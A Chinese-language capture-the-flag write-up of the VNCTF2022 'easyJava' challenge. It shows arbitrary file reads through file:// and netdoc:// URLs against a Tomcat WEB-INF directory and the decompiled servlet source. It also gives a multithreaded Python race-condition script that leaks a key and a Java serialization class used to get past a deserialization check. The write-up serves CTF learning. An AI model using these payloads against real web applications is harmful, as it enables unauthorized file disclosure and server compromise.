#[VNCTF2022公开赛]easyJava[复现]
前言
今天第二道Java题了,加油
提示有/file?并且please input a url
利用上一题的文件泄露,读取WEB-INF/web.xml
发现读取失败了,嗯?
猜测应该是路径有问题
是tomcat
发现可以这样读
后面了解的应该这么读
1 2 3 4
| /file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml /file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes 这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了 file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
|
后面把class文件读出来反编译
1 2 3 4 5 6 7 8 9 10 11
| file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes controller entity User.class servlet FileServlet.class HelloWorldServlet.class util Secr3t.class SerAndDe.class UrlUtil.class
|
HelloWorldServlet.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package servlet;
import entity.User; import java.io.IOException; import java.util.Base64; import java.util.Base64.Decoder; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import util.Secr3t; import util.SerAndDe;
@WebServlet( name = "HelloServlet", urlPatterns = {"/evi1"} ) public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666"; private volatile String age = "666"; private volatile String height = "180"; User user;
public void init() throws ServletException { this.user = new User(this.name, this.age, this.height); }
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String reqName = req.getParameter("name"); if(reqName != null) { this.name = reqName; }
if(Secr3t.check(this.name)) { this.Response(resp, "no vnctf2022!"); } else { if(Secr3t.check(this.name)) { this.Response(resp, "The Key is " + Secr3t.getKey()); }
} }
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String key = req.getParameter("key"); String text = req.getParameter("base64"); if(Secr3t.getKey().equals(key) && text != null) { Decoder decoder = Base64.getDecoder(); byte[] textByte = decoder.decode(text); User u = (User)SerAndDe.deserialize(textByte); if(this.user.equals(u)) { this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString()); } } else { this.Response(resp, "KeyError"); }
}
private void Response(HttpServletResponse resp, String outStr) throws IOException { ServletOutputStream out = resp.getOutputStream(); out.write(outStr.getBytes()); out.flush(); out.close(); } }
|
太长了贴贴中点重点
先来看helloWorldServle.java
会调用Secr3t,去看Secr3t.class
会比较传进去的字符串是不是vnctf2022
奇怪的是在
1 2 3 4 5 6
| if(Secr3t.check(this.name)) { this.Response(resp, "no vnctf2022!"); } else { if(Secr3t.check(this.name)) { this.Response(resp, "The Key is " + Secr3t.getKey()); }
|
这里if的条件和else的条件一模一样?也是学习到了这里需要用到条件竞争Servlet的线程安全问题 | Y4tacker’s Blog
Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是由于实例变量使用不当而引起
条件竞争脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import requests import threading
host = "http://e7a8816c-fda4-4ce3-97d2-c3e302bd2313.node5.buuoj.cn:81/"
class myThread(threading.Thread): def __init__(self, name): threading.Thread.__init__(self) self.name = name
def run(self): print("开始线程:" + self.name) runing(self.name) print("退出线程:" + self.name)
def runing(name): while True: r = requests.get(host + "/evi1?name=%s" % name) r.encoding = "utf-8" #print(host + "/evi1?name=%s" % name) if r.text.find("The Key is") != -1: print(r.text) return 0
# 创建新线程 thread1 = myThread("Q1ngchuan") thread2 = myThread("vnctf2022")
# 开启新线程 thread1.start() thread2.start() thread1.join() thread2.join()
|
得到Sl9oQbIdNtLQDepEbWV6xnSHzUNIvTPS
继续看到 doPOst方法
看到第一个if
他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.*;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class Exp { public static void main(String[] args) throws IOException { User user = new User("Q1ngchuan","18","180"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(user);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
} }
|
最后需要注意的是User.java
中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。